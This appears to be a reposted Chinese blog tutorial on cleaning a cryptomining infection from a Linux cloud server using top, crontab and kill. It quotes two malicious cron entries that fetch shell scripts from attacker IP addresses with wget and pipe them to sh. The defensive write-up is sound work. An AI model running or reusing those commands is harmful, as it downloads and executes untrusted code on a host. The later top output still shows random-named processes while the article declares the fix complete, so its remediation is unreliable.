自学内容网 自学内容网

解决云服务器CPU占用率接近100%问题

黑客通常利用云服务器开放的端口攻击云服务器,造成云服务器CPU占用率接近100%,云服务器CPU资源为黑客所用,例如:挖矿。

top命令查看资源使用情况

[hadoop@Master ~]$ top
...

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
25515 hadoop    20   0  176820   2740    428 S 96.7  0.1  22:29.82 java
 1332 root      20   0 2086940  85604   2452 S  0.7  4.5 735:08.85 java
 2347 hadoop    20   0     208     20      0 S  0.3  0.0   0:10.17 08ct58qfnma+
 3352 hadoop    20   0     208     36      0 S  0.3  0.0   0:51.95 34rol45oukei
 7512 mongod    20   0 1091048  81148   2064 S  0.3  4.3  44:48.20 mongod
 ...

发现CPU被一个25515的进程占用了96.7%(接近100%)占用。

按q键退出top监听

查看定时任务

[hadoop@Master ~]$ crontab -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1

发现确实有定时任务,而且这个ip是陌生ip。有xx.sh脚本在后台运行。

删除定时任务

[hadoop@Master ~]$ crontab -r

再次查看定时任务

[hadoop@Master ~]$ crontab -l
no crontab for hadoop

用kill掉CPU占用率接近100%的进程

[hadoop@Master ~]$ kill -9 25515

再次用top命令查看资源使用情况 

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1965 hadoop    20   0 3129388 157000   1648 S  0.3  8.3  18:59.50 java
 5975 hadoop    20   0     208     44      0 S  0.3  0.0   1:26.53 id2mk0hrtdop
 ...

过几分钟再次用top命令查看

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1332 root      20   0 2086940  85628   2452 S  0.7  4.5 735:13.85 java
 8513 hadoop    20   0     208     40      0 S  0.3  0.0   1:08.88 fv7ed8qccns+
17228 hadoop    20   0     208     24      0 S  0.3  0.0   0:22.29 72t7j2itqvb+
 ...

总结:

CPU占用率接近100%的问题,通过top命令查出CPU占用率高的进程

如果没有定时任务,可以直接kill掉CPU占用率高的进程;

如果有定时任务,kill掉进程后,过一会top查看还会再次出现CPU 100%的问题,使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务,再kill -9杀掉CPU占用率高的进程就ok了。

完成!enjoy it!


原文地址:https://blog.csdn.net/qq_42881421/article/details/140621488

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!